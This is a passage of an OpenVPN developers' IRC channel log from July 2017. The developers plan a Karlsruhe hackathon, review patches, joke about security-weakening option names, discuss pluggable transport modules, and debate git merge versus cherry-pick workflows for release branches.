it, ship it. 03:58 <@ordex> CRCinAU: cool! thanks for testing again :) you can also report that the ml in reply to my patch, if you wanted 04:00 <@ordex> oh you did that already :) 04:00 <@ordex> thanks! 05:46 < CRCinAU> already did :) 05:46 < CRCinAU> Tested-by: x2 ;) 05:56 <@ordex> heh 05:56 <@ordex> yesh 11:16 <@d12fk> any clue on james' availibility for nov. 3 / 10, yet? 11:27 <@ordex> I have no idea 11:29 <@d12fk> wiki is updated 11:32 <@ordex> thanks :) 22:08 <@ordex> morning :) 23:51 <@ordex> d12fk: cron2: what do we need to finalize the hackathon dates? 23:52 <@ordex> mattock: if we needs James' availability, can you ask him directly? he may have missed the doodle --- Day changed Tue Jul 11 2017 00:44 < CRCinAU> I hate missing the doodle. 01:07 <@ordex> meh 01:07 <@ordex> missing is part of life :P 01:08 <@ordex> CRCinAU: are you aware of any community network/wifi community/vpn fans in brisbane? 01:28 < CRCinAU> nope :\ 01:33 <@ordex> mhh ok 01:54 <@cron2> ordex: as soon as we have all the dates, someone decides - like, d12fk :) 01:54 <@ordex> :D 01:56 <@ordex> cron2: ok ;) 03:46 <@d12fk> currently we have a draw between nov. 3rd and 10th, james could be the tie breaker 03:47 <@d12fk> if not the weekend of the 3rd is close to reformation day/all hallows eve 03:47 <@cron2> ordex: do you have internal communication channels that actually *work* to reach James? 03:47 <@ordex> reformation day ? 03:47 <@d12fk> not decided if thats good or bad, yet 03:47 <@ordex> cron2: email is my best bet :) 03:47 <@d12fk> martin luther 03:47 <@ordex> d12fk: oh ok 03:47 <@cron2> usually we'd ask mattock to poke james, but he's a bit preoccupied as well 03:48 <@d12fk> not happening in italy =) 03:48 <@ordex> d12fk: yeah :D 03:49 <@ordex> cron2: I can try sending an email, but that's nothing else I can do. mattock sometimes talk to him over conf call, but I am not sure there is anything scheduled in the near future 03:49 <@cron2> ordex: someone else physically close to James that you could use for tele-poking? :-) 03:49 <@ordex> :D 03:49 <@ordex> phisically close? I think the set is empty 03:49 <@ordex> :P 03:49 <@cron2> so James is working from home on something new and fascinating, and will only resurface when this is done... "as usual" :-) 03:50 * ordex no clue 03:50 <@ordex> :d 03:50 <@ordex> :D 03:50 <@ordex> recently I have seen him inteacting with others, but still, only over emails 03:53 <@ordex> cron2: should somebody first try to write an individual email to him? 03:53 <@ordex> maybe he will reply just soon 03:53 <@d12fk> well, he got the invitation per mail, so that doesn't seem to get his attention 03:55 <@ordex> d12fk: yeah, but maybe if a person would write him, it could be different - just saying 03:55 <@cron2> "mails with lots of people on cc:, from external" and "mails only to him" seems to make a difference, but James' operation of work is known to be special :-) 03:57 <@ordex> yeah 04:07 * ordex is writing to james 04:42 <@ordex> my typ0 rate in commit messages is quite high I'd say .. 04:52 <@cron2> your typo rate on IRC is not much better today :) 04:54 <@ordex> :D there are days when you should just give up and do something else :P 05:52 <@ordex> cron2: did you mean that I should do that strcpy() cleanup in yet another patch? 05:52 <@ordex> or should I do it inside patch 3/4 05:52 <@ordex> (that is already doing something similar but in another function) 05:53 <@cron2> no, in 5/4 :) 05:53 <@ordex> ok, I create a new one :P 05:53 <@cron2> but if you want to do a re-send of 3/4 with that one changed too 05:53 <@cron2> fine with me 05:53 * cron2 needs to set up a proxy server with NTLM auth to actually test that stuff 05:54 * ordex has no clue about what NTLm is 05:57 <@cron2> that's a challenge-response authentication scheme that you can forward from a web proxy to your windows AD server, so a "client running on windows" can nicely and automagically authenticate with his windows credentials to $server 05:57 <@cron2> (openvpn cannot the "automagically", but it can do the challenge/response bits, so you can auth to the proxy server without the proxy server ever knowing your password) 05:58 <@cron2> so the goal is laudable, but of course the implementations suck 06:04 <@ordex> lol 06:04 <@ordex> ok 06:04 <@ordex> I wonder if anybody is really using this 06:06 <@cron2> supposedly d12fk's customers are... 06:20 <@d12fk> some of them, since there are many of them. you get any configuartion as soon a your customer set grows large enough 06:21 <@d12fk> however NTLM is considered insecure, nowadays. So, if you feel like implementing Kerberos proxy auth for openvpn be my guest. =P 06:22 <@d12fk> OTOH ppl are still using PPTP as their VPN, so there's no hope. 07:18 <@vpnHelper> RSS Update - tickets: #913: OpenVPN cannot use standard CA root file on FreeBSD <https://community.openvpn.net/openvpn/ticket/913> 07:58 <@mattock> I poked James about the hackathon 08:09 <@cron2> that worked nicely in the last years :-) 08:27 <@cron2> *bam* (#913) 08:29 <+krzee> good answer lol 08:30 <+krzee> Why? Because you are not supposed to trust 169 random entities for your VPN security 08:30 <+krzee> hahah 09:11 <@ecrist> heh 09:13 <@ecrist> I'm curious what was going through his head? 09:34 <+danhunsaker> Not grasping the differences between server certs and VPN certs, likely. 09:34 <+danhunsaker> Is "crashes with expired CRL" a known issue? 09:35 <@cron2> OpenVPN does not crash, I hope, but it might refuse to start :-) 09:38 <+danhunsaker> The very formal bug report I just got was "can you make it not die when the crl is expired" 09:39 <+danhunsaker> So it's hard to say... 09:44 <@cron2> if there is no log, it cannot be a bug report :)# 10:30 <@ecrist> danhunsaker: I would think crashing wouldn't be ideal. 10:30 <@ecrist> however, refusing new connections since "everything" is untrusted would be reasonable. 10:30 <@cron2> ecrist: I'm fairly sure it would do exactly that (because we've seen a number of bug reports to that extent already) 10:30 <@ecrist> I know what we need. Another knob. 10:30 <@ecrist> --crl-ignore-expiry 10:30 * cron2 slabs ecrist with a bucket full of options 10:35 <+danhunsaker> Hey, I said it was very formal. 10:36 <@ecrist> also, maybe a --crl-ignore 10:36 <@ecrist> heh 10:36 <@ecrist> then they can both define a CRL and tell OpenVPN to completely ignore the CRL 10:36 <@ecrist> 'cause, WTF not? 10:37 <+danhunsaker> --disable-crl-lookup-because-i-hate-secure-public-key-infrastructure-requirements-and-dont-mind-blindly-trusting-my-certs-and-heck-dont-check-their-expirations-either ? 10:38 <@ecrist> oh, then for #913, we can also add --include-system-ca 10:39 <@ecrist> of course, --include-system-ca will automatically define --no-client-cert, just for good measure 10:39 <@ecrist> or, it's --client-cert-not-required or something 10:40 <@cron2> --less-beer-for-ecrist 10:40 <@ecrist> could we add PPTP support, too? 10:41 <@ecrist> --enable-pptp 10:45 < CRCinAU> and --ipsec is required too 10:47 <@cron2> --less-beer-for-ecrist-and-CRCinAU 10:47 < CRCinAU> and don't forget --enable-systemd 10:48 < Thermi> --no-nsa 10:49 <+danhunsaker> Nah, we already have that one. It's --more-nsa 10:49 < Thermi> --hide-my-porn-habits? 10:49 <+danhunsaker> Or, rather, --hello-nsa-come-right-on-in-and-inspect-all-my-traffic 10:49 < Thermi> --key-escrow 10:50 < Thermi> --allow-snooping 10:51 <+danhunsaker> I like the idea of making flags that negatively impact security have really long names that more accurately describe what you're actually getting from them. 10:51 <+danhunsaker> That way you have to _really_ want to fsck your security to enable them. 10:51 < Thermi> Like the "charon.i_dont_care_about_security_and_use_aggressive_mode_psk" key in strongSwan 10:52 <+danhunsaker> Indeed. 11:11 <@ordex> aloha 11:12 <@ordex> <@mattock> I poked James about the hackathon << I did that too :P 11:50 <@ordex> d12fk: james should have filled the doodle! 11:50 <@ordex> :) 11:51 <@ordex> so we still have the 3rd and the 10th as potential options 12:10 <+krzee> lol @ --less-beer-for-ecrist 12:26 <@ecrist> that's NEVER funny 12:26 -!- mode/#openvpn-devel [-v krzee] by ecrist 12:48 -!- mode/#openvpn-devel [+v krzee] by ecrist 12:48 <@ecrist> only because I bricked your box 12:48 <@ecrist> :P 12:48 <+krzee> lol 19:34 <@ordex> morning! 20:38 < CRCinAU> mornin' 20:38 <@ordex> ayo --- Day changed Wed Jul 12 2017 01:53 <@ordex> cron2: you got 5/4..and v2 too! :D 02:09 <@vpnHelper> RSS Update - tickets: #914: user flag does not kill root <https://community.openvpn.net/openvpn/ticket/914> 05:09 <@d12fk> cron2, plaisthos: since you are ze other Dshörmans. Nov. 3rd or Nov.10th? The week of the 3rd has two public holidays (Oct. 31/Nov 1). I for myself am undecided if that's good or bad with respect to the hackathon, so I don't care. Do you guys have an opinion? If not I'll fall back to the sooner the better option and pick the Nov. 3rd weekend. 05:26 <@plaisthos> d12fk: I have a slight preference for Nov the 10th but either way is fine for me 05:27 < slypknot> i see default --max-clients is 1024 (v2.4) what is default --max-clients for 2.3.8 ? thnks 05:27 <@plaisthos> probablythe same 05:27 <@plaisthos> most setups have --server statement that is smaller anyway 05:27 < slypknot> plaisthos: i seem to recall it was 100 or something like that 05:28 < slypknot> for 2.3 05:29 < slypknot> i seem to recall that the default *was* in the manual .. not now though ! 05:31 <@d12fk> slight is enough for me to call it Nov. 10th 05:32 <@d12fk> plaisthos: ^ 05:33 <@plaisthos> :) 05:48 < slypknot> nope .. 2.3.17 max_clients = 1024 05:55 < slypknot> and 2.3.8 max_clients = 1024 05:58 <@d12fk> in case anyone considers joining the hackathon, please add your name to https://community.openvpn.net/openvpn/wiki/KarlsruheHackathon2017 until end of october so I can arrange admittance into the office 05:58 <@vpnHelper> Title: KarlsruheHackathon2017 – OpenVPN Community (at community.openvpn.net) 06:33 <@syzzer> d12fk: I have a colleague who will take over Adriaan's responsibilities, he'll probably join too 06:33 <@syzzer> to maximize confusing, his name is Gert 06:34 <@plaisthos> :) 06:35 <@plaisthos> seplt the same but pronounced with the Dutch G to make confusion even bigger? 06:36 <@mattock> syzzer: :D 06:36 <@syzzer> plaisthos: exactly 06:38 <@plaisthos> d12fk: spell him Chert to at the same time show that you understood a bit how his name is pronounced from a German standpoint and annoy him to hell *duck* 06:43 <@cron2> d12fk: I do not really care, Nov 10 is very slightly less chaotic (kids, holdiays, ...) but I'm fine with both dates 06:44 <@cron2> syzzer: oh, Chheerd :) 06:47 <@d12fk> syzzer: excellent, we have enough space so he's very welcome 06:47 <@d12fk> lol @ chheerd 06:47 <@d12fk> bullies =) 06:47 <@cron2> syzzer: one of andj's open tasks is cleanup of some open patches, if I remember right :-) 06:48 <@ordex> lol 06:51 <@syzzer> cron2: yeah, not sure if Chheerd is aware he's getting that on his stack too :-P 06:54 <@ordex> the ibis hotel is already sold out for those dates :O 06:56 <@plaisthos> blauer Reiter seems to be cheapest one close by 06:56 <@plaisthos> but not cheap 06:58 <@ordex> yeah, but looks good 07:00 <@ordex> we can share a deluxe junior suite if you want :-P 07:03 <@plaisthos> I think I will pass :) 07:04 <@plaisthos> booking.com has a -22% for the single room at the moment 07:04 <@ordex> yeah 07:04 <@ordex> I just reserved my room 07:04 <@ordex> you can cancel for free up to the day before 07:04 <@ordex> plenty of time to make another decision .. 07:05 <@ordex> :) 07:26 <@syzzer> I made a reservation for the Blaue Reiter too 07:26 <@syzzer> through their own website, was cheaper than through booking 07:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 07:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:07 <+krzee> is "traffic manipulation API" the idea we talked about during the very long ago ovpn3 meeting where we talked about plugins for different transport methods such as ip over dns/icmp/etc etc? 09:19 <+krzee> oh and anybody going from the west coast may want to book on this sooner than later: http://www.secretflying.com/posts/hot-many-european-cities-oakland-san-francisco-usa-e226-roundtrip-vice-versa-292-usd/ 09:24 <+krzee> the same site has other great deals to germany at the right time if you use the search feature 09:29 <@plaisthos> syzzer: oh, will check their website 09:55 <@ordex> aloha 09:57 <@mattock> hi! 09:57 <@ordex> :) 09:57 <@ordex> krzee: I was not in that meeting, but it sounds like what I have in mind 09:58 <@ordex> dazo talked me into that once and I like the concept 09:58 <+krzee> ahh thats you! 09:58 <@ordex> unfortunately yes 09:58 <@ordex> :d 09:58 <@ordex> :D 09:59 <+krzee> <3 thats a feature that will be awesome 09:59 <@ordex> hehe 09:59 <@ordex> yeah, we have to figure out how to implement it so that we don't affect performance too much 09:59 <@ordex> at least not when there is no plugin activated :P 10:03 <+krzee> oh so the modular system wont take over all transport? 10:03 <+krzee> i figured udp and tcp would be modules as well 10:03 <@ordex> I don't think any decision has been made 10:03 <@ordex> that would make sense though 10:04 <@ordex> the transport protocol could be entirely abstracted 10:04 <@ordex> and udp or tcp could just be one implementation 10:04 <@ordex> like any other .. 10:25 <+krzee> if that were the case then youd be able to listen on multiple sockets on multiple protocols, it would be so cool 10:26 <+krzee> and a big move towards the old roadmap imo 10:26 <+krzee> "socket module" 10:26 <+krzee> and "protocol module" 10:29 <@ordex> sounds like 5 to 10 years development 10:29 <@ordex> :D 10:29 <@ordex> but yes, cool ;) 10:29 <@ordex> hehe 10:32 <+krzee> 7 years from idea til now lol 10:33 <@ordex> well, then 3 years to get the prototype 10:33 <@ordex> almost there1 10:33 <@ordex> :D 10:34 <+krzee> :D 10:46 <@d12fk> ordex: IBIS shows me available rooms, but I have not pulled it off beyond the personal information page 10:46 <@ordex> I checked on booking.com 10:46 <@ordex> dunno 10:46 <@d12fk> try their site directly 10:47 <@ordex> ah ok 10:47 <@ordex> well, actually I prefer the closer solution ;P 10:48 <+krzee> the PITA of living on an island, even if you find NY to germany for $400 round trip, its still another $400 to NY 10:48 <+krzee> haha 10:49 <+krzee> i probably cant make it, bought a big new house this year still trying to fill it with furniture and that sort of stuff 10:50 < CRCinAU> what other protocols would you use that TCP or UDP woudln't cover it? 10:50 <+krzee> CRCinAU: you could have modules for faking like its http, could have ip over dns, ip over icmp 10:51 <+krzee> all sorts of modules could be made 10:51 < CRCinAU> ewwwwwwwwwww 10:51 <+krzee> could listen on multiple udp sockets, or udp and tcp, multiple tcp, or any combo of the unforseen modules 10:52 < CRCinAU> all of those would totally suck for throughput :p 10:53 <+krzee> oh sure and for mtu, but youd be able to load the modules you want 10:53 <+krzee> so if you only want udp, just load that 10:53 < CRCinAU> Mmmmm base64 encoded HTTP payload data for a VPN..... 10:53 < CRCinAU> *gags* 10:54 <+krzee> CRCinAU: think great firewall 10:54 < CRCinAU> isn't tor much more useful than that? 10:54 <+krzee> currently we just force people to tunnel over obfsproxy, which is cool and all 10:54 <+krzee> tor and a vpn solve different problems 10:57 <+krzee> wouldnt it be cool if somehow there was a module for the socket interface that was able to load the modules from obfsproxy somehow 10:58 < CRCinAU> sure its not just the systemd approach? :P 10:58 <+krzee> ill tell you after i get around to learning systemd :D 10:59 <@ordex> lol 10:59 <@ordex> krzee: I also live on island!! but I don't find excuses :P 10:59 <+krzee> damn got me! 10:59 < CRCinAU> but.... we all live in islands ;) 11:00 <@ordex> just zoom out enough :D 11:00 <+krzee> if your island is a continent it dont count! 11:00 <+krzee> although it counts x2 when it comes to plane tickets 11:01 <@ecrist> heh 11:01 <+krzee> au is expensive to anywhere 11:03 <@ordex> nah 11:03 <@ordex> you can get a cheap flight to auckland 11:03 <@ordex> :P 11:44 < CRCinAU> $900AUD return to London :p 11:44 <@ordex> well, not bad 11:47 <+krzee> unless you compare to the california to germany $300 usd round trip that i posted earlier :D 11:49 <@ordex> well ok, that's a special case, while the 900aud is a normal search 11:49 <@ordex> i think you can get even cheaper 13:04 < slypknot> jas google gone down ? 13:04 < slypknot> we cannot get any google services .. 13:09 < slypknot> wo-ho! google is down ! 13:09 < slypknot> at least in the uk 13:09 <@ordex> works here 13:09 <@ordex> well, i am on the other side 13:10 < slypknot> nah .. it's just my isp .. lol 13:11 < slypknot> just connected via vpn server on another isp 13:11 < slypknot> ordex: thanks for checking ;) 13:11 <@ordex> np :P 15:20 < SCHAPiE> anyone else have timeouts when connecting to build.openvpn.net over IPv6? 15:21 < SCHAPiE> i mean, there's an AAAA record, but it doesn't seem like it's listening at all 16:04 < SCHAPiE> allright, rebuilt OpenVPN with the new LibreSSL that was released today; running smoothly 19:32 <@ordex> SCHAPiE: connecting over web ? 19:33 <@ordex> SCHAPiE: yeah, ipv6 times out and my browser switches to ipv4 i believe 20:14 <@ordex> cron2: when will you have time to review some mof the pending patches? I can offer some help if that would be useful (although I don't know how I could help) 20:44 <@ordex> and good morning! 21:19 < valdikss> 2.4.3 compilation is broken with --disable-multi 21:21 <@ordex> uhu 21:21 <@ordex> oh I see 21:22 <@ordex> valdikss: have you checked when it broke ? 21:22 <@ordex> might be due to ncp (?) 21:29 <@ordex> valdikss: apparently ncp added some more errors, but it was not compiling even earlier than that 21:35 <@ordex> valdikss: it breaks since 2013 ... I think nobody really cared .. 21:51 <@ordex> valdikss: interested in a patch ? 21:52 < valdikss> ordex: not really, but I'll see how to fix it 21:53 <@ordex> valdikss: I just came up with something, in case you wanted to test it 21:53 <@ordex> otherwise I will send to the ml 23:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] --- Day changed Thu Jul 13 2017 00:34 -!- marlinc_ is now known as marlinc 01:18 <@ordex> valdikss: actually, how did you find out about the problem with --disable-multi ? do you really use it ? or was just a build test ? 01:18 <@ordex> valdikss: I am asking because mattock is proposing to drop support for that option altoghether 01:20 < CRCinAU> BURN THE CODE! 01:43 <@cron2> ordex: the last few days have been totally crazy, but I hope to get something done over the next days 01:43 <@cron2> --disable-multi is "only compile client/peer2peer code", is it? 01:44 <@ordex> cron2: right 01:45 <@ordex> although we can also have multi enabled, but no server code included (by using --disable-server) 01:45 <@ordex> don't ask me what that is useful for.. 01:49 <@cron2> we need a meeting... 01:50 <@ordex> hehe 01:53 <@cron2> eeek 01:53 * cron2 remembers 598e03f0e7bce434e501a9895819f2af0714d5f6 01:54 <@ordex> that could say something about your age 01:54 <@ordex> :P 01:54 <@ordex> hehe just kidding ... it is not old enough 01:54 <@ordex> :D 01:55 <@cron2> it's something I forward-ported from James' SVN 2.1 repo to our 2.3 code base... including a few rounds of discussion on the list about finer semantics 01:57 <@cron2> I think I'll actually side with mattock on this - "let's get rid of P2MP and --disable-multi" 01:58 <@cron2> ordex: your patch is fine, but it introduces too many #ifdef - and since our declared goal is "less of them" (because, testing variants...) this is not the way to go 01:59 <@ordex> cron2: I totally agree 01:59 <@ordex> I hate ifdefs in the code 01:59 <@ordex> but as a "fix" I preferred to keep it simple and avoid huge code movements here and there 02:00 <@ordex> cron2: wouldn't it make sense to merge this "ugly" but small patch in release/2.* and then drop the feature in master ? 02:00 <@cron2> as I said, the patch is fine, but it's based on an assumption ("we want to keep this option") that mattock is challenging :-) 02:01 <@ordex> yeah, I totally agree: we should drop it. but we can't do that in release/2.*, no ? 02:02 <@cron2> ordex: that depends a bit - if the removal of P2P is really just "removing #ifdef and #endif plus a bit configure.ac", then I'd say "remove it from 2.4 as well" (possibly removing just the *option* in 2.3, not the code). If it's more complicated, like "#else" branches, have a closer look wrt 2.4 and master 02:02 <@ordex> mh ok 02:02 <@ordex> makes sense 02:03 <@cron2> but that's something I'd like to hear syzzer and dazo's comment about, though 02:03 <@ordex> I imagined that the feature-dropping patch was going to be much bigger. but you are right, it is probably going to be small 02:03 <@ordex> yeah 02:04 <@ordex> cron2: btw, the comment about cherry-pick vs merge forward was implicitly for you :-P 02:05 <@ordex> :D 02:05 <@ordex> maybe this is something we can discuss in Karlsruhe 02:06 <@cron2> ordex: if you forward-merge, you get a new commit ID as well, no? 02:06 <@cron2> (our workflow "merge to master, cherry-pick to whichever branches should have it" is something designed by dazo, and I just do what I'm told wrt git workflow - so dazo's the man to discuss changes here :-) ) 02:07 * cron2 can *use* git, but dazo *understands* git 02:07 <@ordex> cron2: no, during merge commits stay the same 02:07 <@ordex> unless there is a conflict, but that creates a *new* merge commit 02:07 <@ordex> history is untouched 02:08 <@ordex> so dazo is the one to beat :P 02:08 <@cron2> how can you have the same commit if you merge a change to 2.4 and master, given that the commit describes the overall result, and that is different? 02:08 <@cron2> remember that almost all our patches get applied to 2 or 3 branches 02:09 <@ordex> the commit won't change. if there is a conflict, it gets resolved in a *new* merge commit 02:09 <@ordex> but the original commit stays the same 02:09 <@ordex> of course, the history is not linear 02:09 <@cron2> the *commit* might be, but the commit *ID* describes the overall system, so it cannot be the same when applied on top of different code bases 02:09 <@ordex> agreed. but the commit is not "rebased" on top of a new base 02:09 <@ordex> this is the difference between merge and rebase 02:10 <@cron2> but it will still show up with different commit IDs in 2.4 and in master, right? 02:10 <@ordex> nono 02:10 <@cron2> yesyes :) 02:10 <@ordex> you can try - might be easier to see 02:10 <@ordex> :D 02:10 <@cron2> it has to, as the commit *ID* is the shasum of all the code in there - and that will necessarily be different 02:11 <@ordex> you are assuming the commit is rebased on top of different code 02:11 <@cron2> the code in 2.4 and master is different 02:11 <@ordex> but this does not happen, the commit is always basedon top of the code which was applied at rhe beginning 02:11 <@cron2> if only because version.m4 is 02:14 <@ordex> cron2: for example, if you use a graphic git interface, which shows branches lines, you can see what I meant with "commit is always based on the original code" 02:14 <@ordex> although I am trying to find an easy pic 02:15 <@ordex> https://git-scm.com/figures/18333fig0317-tn.png << maybe this one can help me 02:15 <@cron2> of course is the commit "based on the original code" (which is the same for cherry-picking) - but the commit *ID* in the branches can not be the same, as the shasum is not - and that means "you have different IDs either way" 02:15 <@ordex> :/ 02:16 <@ordex> (which is the same for cherry-picking) << wrong: you are applying a commit on top of different code in ths case 02:16 <@ordex> exactly like when you rebase 02:16 <@ordex> just with one commit 02:17 <@cron2> no :-) 02:17 <@ordex> just try :P 02:17 <@ordex> if you check the pic I posted and you see "C5", it is always based on top of C3-C2-C1-C0 02:17 <@ordex> C4 (the commit that changed the code in master) will never go "under" C5 02:18 <@ordex> even though in C6 we are merging 02:18 <@cron2> but that would imply C4 gets a new commit ID, which is not a desirable property 02:19 <@ordex> C4 is a totally new change, something that was committed to master only, i.e. a new feature 02:19 <@cron2> yes, but if it is there, it has a commit ID that has been pushed out, so must not change 02:19 <@ordex> sorry I didn't get the last sentence 02:20 * cron2 doesn't have time right now to discuss git nuances, and I still think you're wrong here - "the same code in two branches" CAN NOT have the same commit ID, due to "commit ID being shasum", and the branches are different from the branch point (version.m4!) 02:21 * cron2 needs to get work done now 02:21 <@ordex> heh ok, this is why I said it is better to discuss during the hackathon maybe :P 02:21 <@ordex> and not sure what version.m4 is 02:21 <@ordex> maybe I should check that too 02:21 <@cron2> version.m4 is a file in our code base which contains the version number 02:21 <@ordex> ok 02:21 <@ordex> that will conflict every time 02:22 <@ordex> (although git will learn how to solve the conflict) 02:30 < CRCinAU> dazo / ordex: So what would I do to build a version of openvpn with the token / nm patch ? 02:31 < CRCinAU> I assume we're not going to have 2.4.4 soon? 02:32 <@ordex> CRCinAU: I dunno about the schedule plan - I think dazo is the major promoter of that fix, so we have to wait for him 02:32 <@ordex> CRCinAU: you can pull master and apply the patch on it 02:32 * CRCinAU charges his cattle prod 02:32 < CRCinAU> or we could release 2.4.4? :P 02:43 <@ordex> cron2: btw, my last sentence about this then I go back to work too :P something not to forget is that with a merge git does not flatten the history. thus if you look back, the history is not linear )of course you can't see that in "git log", but you can see that with other tools showing the parent of each commit). this is how you can keep the history of each branch intact after merge. this means that 02:43 <@ordex> each commit does not know anything about the "new code the branch is being merged with". thus the code at that commit/time remains the same, like the shasum 02:43 <@ordex> now I hide :P 02:43 <@ordex> and osrry for the noise :) 02:43 <@ordex> *sorry 03:14 < CRCinAU> gitkracken is good for that :) 03:14 < CRCinAU> but its a GUI thing 03:15 <@ordex> I have a pretty nice command in my gitconfig that helps me with that without installing other tools 03:15 <@ordex> wait 03:15 <@ordex> lg = log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --date=relative 03:15 <@ordex> under my [alias] section 03:16 <@ordex> I call it with: git lg 03:16 <@ordex> and it shows the tree too 04:41 <@syzzer> ordex: cron2 is right here - when you are maintaining multiple branches, you can not get around cherry-picking (or rebasing, which is basically a batch cherry-pick) 04:42 <@syzzer> just try what happens when your do a "git checkout release/2.3 && git merge tls-crypt-v2-preview" ;-) 04:43 <@syzzer> (and, a lineair history is so much nicer to work with than "merge christmas trees") 05:01 < valdikss> ordex: actually, how did you find out about the problem with --disable-multi ? do you really use it ? or was just a build test ? < I compiled OpenVPN for a very low-end device and just disabled everying I don't need. 06:20 <@ordex> syzzer: about merge vs rebase/cherry-pick I think it is a matter of taste. In either case you have to solve the conflict (i.e. while doing the merge or when cherry-picking a difficult patch). it's just that when doing merges you have all the branches convering towards master and sharing the history. while with cherry-picking you basically diverge and don't converge anymore, so you create copies of 06:20 <@ordex> the same commit in each branch 06:21 <@ordex> but again. it's a matter of taste. for debugging I prefer being able to open master and knowing that *all* the commits are there (hopefully without duplicates) 06:22 <@ordex> about "git checkout release/2.3 && git merge tls-crypt-v2-preview": not sure why you would do that :P new features should not go there. you only want to do forward-merging (i.e.bringing bugfixes from the oldest branch up to master) 06:22 <@ordex> :P 06:22 <@cron2> they never are, as we have quite different stuff in 2.2, 2.3 and 2.4... 06:22 <@syzzer> ok, well, try to forward-merge a single bugfix commit then :) 06:22 <@syzzer> it will not work 06:22 <@syzzer> we will have to cherry-pick 06:23 <@ordex> you can merge and solve the conflict. it's the same as cherry-picking and solving the conflict there 06:23 <@ordex> but you duplicate the commit too .. 06:23 <@syzzer> ordex: no it is not 06:23 <@ordex> mhhh why not ? 06:23 <@syzzer> because that commit is based on another (series of) commits 06:23 <@syzzer> and a merge will also merge in all those changes 06:24 <@syzzer> cherry-picking is precise what you need to do to 'back-port a single commit' 06:24 <@ordex> wait, when talking about merge, I am talking about forward-port 06:25 <@ordex> not back-port 06:25 <@ordex> i.e. we find a bug introduced in 2.3 06:25 <@ordex> we fix it in release/2.3 and then we merge into release/2.4 and then into master 06:25 <@ordex> of course, it is different from what we do now 06:26 <@syzzer> af far as I know git, that too would not work with merges 06:26 <@ordex> uhm why not ? 06:27 <@ordex> that's how I used to doin other projects 06:27 <@syzzer> because the branches have diverged, and you don't merge 'a single commit', you merge 'branches' 06:27 <@ordex> this way you are 100% sure that every fix is eventually ported up to master and nothing gets forgotten (unless you screw up some merge conflict resolution) 06:27 <@ordex> right 06:27 <@ordex> but you hsould do this merge every time you commit one or two patches into the "old" branch 06:27 <@syzzer> fixing bugs in master first also guarantees that everything is in master ;-) 06:28 <@ordex> yeah, we all lead to the same conclusion 06:28 <@ordex> hehe 06:28 <@syzzer> even more so I would say 06:28 <@ordex> dunno I just found cumbersome today, that I found the faulty commit in release/2.3 by accident 06:28 <@syzzer> do you have an example of a repository where this strategy is used? feels like I don't get what you're saying 06:28 <@ordex> sure 06:28 <@ordex> wait a sec 06:29 <@ordex> the kernel works like this 06:29 <@ordex> with net and net-next for example 06:29 <@ordex> net-next is our master 06:29 <@ordex> net is release/2.4 06:29 <@ordex> these are 2 different git trees, but the concept is the same 06:29 <@ordex> let me find a pic 06:29 <@ordex> in batman-adv we used to follow the same schema 06:31 <@ordex> we have a pic here: https://www.open-mesh.org/projects/batman-adv/wiki/Release-todo not sure it is easy to grasp by the pic alone 06:31 <@vpnHelper> Title: Release-todo - batman-adv - Open Mesh (at www.open-mesh.org) 06:32 <@ordex> if you look at the second pic (the one labeled batman-adv) you see that everytime a release is made it goes to "maint" (i.e. our release/2.x) 06:32 <@ordex> everytime there is a fix commited to maint, maint gets merged into master (the small arrows going from maint to master) 06:33 <@syzzer> that will only ever work if the code remains sufficiently similar 06:34 <@syzzer> a little bit of refactoring breaks this strategy? 06:34 <@ordex> well, it does not "break". but whoever does the merge has to suffer a bit in that case 06:34 <@ordex> :D 06:35 <@ordex> but, don't you have to summer as well when you cherry-pick from master to release/2.4 if the code was refactored ? 06:35 <@ordex> *suffer 06:35 <@ordex> of course you suffer less multiple times (once for each cherry-pick), while in a merge you suffer once for all the patches part of the merge 06:36 <@syzzer> I'm looking at the batman-adv history now, but they seem to use rolling releases, instead of stable branches 06:36 <@ordex> syzzer: in a more complex scenario it could be seen like this: https://trac.edgewall.org/attachment/ticket/1492/trac-git-octopus-merge-graph.png but this is too much 06:36 <@vpnHelper> Title: trac-git-octopus-merge-graph.png on Ticket #1492 – Attachment – The Trac Project (at trac.edgewall.org) 06:37 <@ordex> syzzer: we keep a finite amount of "previous release" 06:37 <@ordex> so we have master -> next -> maint 06:37 <@ordex> when we release, what was in maint gets discarded 06:37 <@ordex> in our case we would just create a new branch release/2.x 06:37 <@ordex> so we don't discard the oldest release 06:38 <@ordex> but again, it is a matter of taste. I prefer this way because everything converges and commits are not duplicated 06:39 <@ordex> in linux-stable they do cherry-pick patches one by one, but simply because what they maintain is very old and they don't want every fix 06:39 <@syzzer> they do, you just fool yourself by sneakily redoing a number of commitst in the merge :p 06:39 <@ordex> hehe that's true 06:40 <@ordex> but you clearly know when a change was introduced 06:40 <@ordex> because there is no "branch that never converged" 06:40 <@ordex> like our release/2.x 06:41 <@syzzer> that's because you do rolling releases and no long-time support 06:42 <@ordex> I guess it depends on the strategy 06:42 <@syzzer> which might be a valid choice, but it is a prerequisite for this strategy 06:42 <@ordex> yeah in case of very long term, it might be difficult to keep on merging 06:42 <@ordex> yeah this argument of the long-term is valid 06:42 <@ordex> because the code would diverge a lot 06:42 <@ordex> and every merge would be a bloodbath 06:42 <@ordex> :p 06:43 <@syzzer> exactly. consider some idiot proposing to reformat all the code (yes, that was me...) ;-) 06:43 <@ordex> one drawback of the current approach for example is: if I pick commit X and I ask you: does X exist in master? your only way now if to search for the commit title, git won't be able to help 06:43 <@ordex> haha :P 06:44 <@ordex> if I pick commit X from release/2.3 06:44 <@syzzer> we work the other way around 06:45 <@ordex> anyway, this is radical git kung fu, I understand that for branches far away years from each other this might be problematic 06:45 <@syzzer> so if the commit is cherry-picked to 2.3, you'll see a 'cherry picked from a12b34' 06:45 <@ordex> yeah. it's a manual check - this is what I meant with git won't help. but that's the only way when you cherry-pick, I understand 06:45 <@syzzer> and the other way around, you just search all the branches for the commitsh of the master commit 06:45 <@ordex> yeah 06:46 <@ordex> this is exactly what linux-stable foes for the LTS 06:46 <@ordex> *does 06:46 <@ordex> ok 06:46 <@ordex> the long-term argument managed to change my mind :D 06:46 <@ordex> hehe 06:46 <@syzzer> hehe 06:47 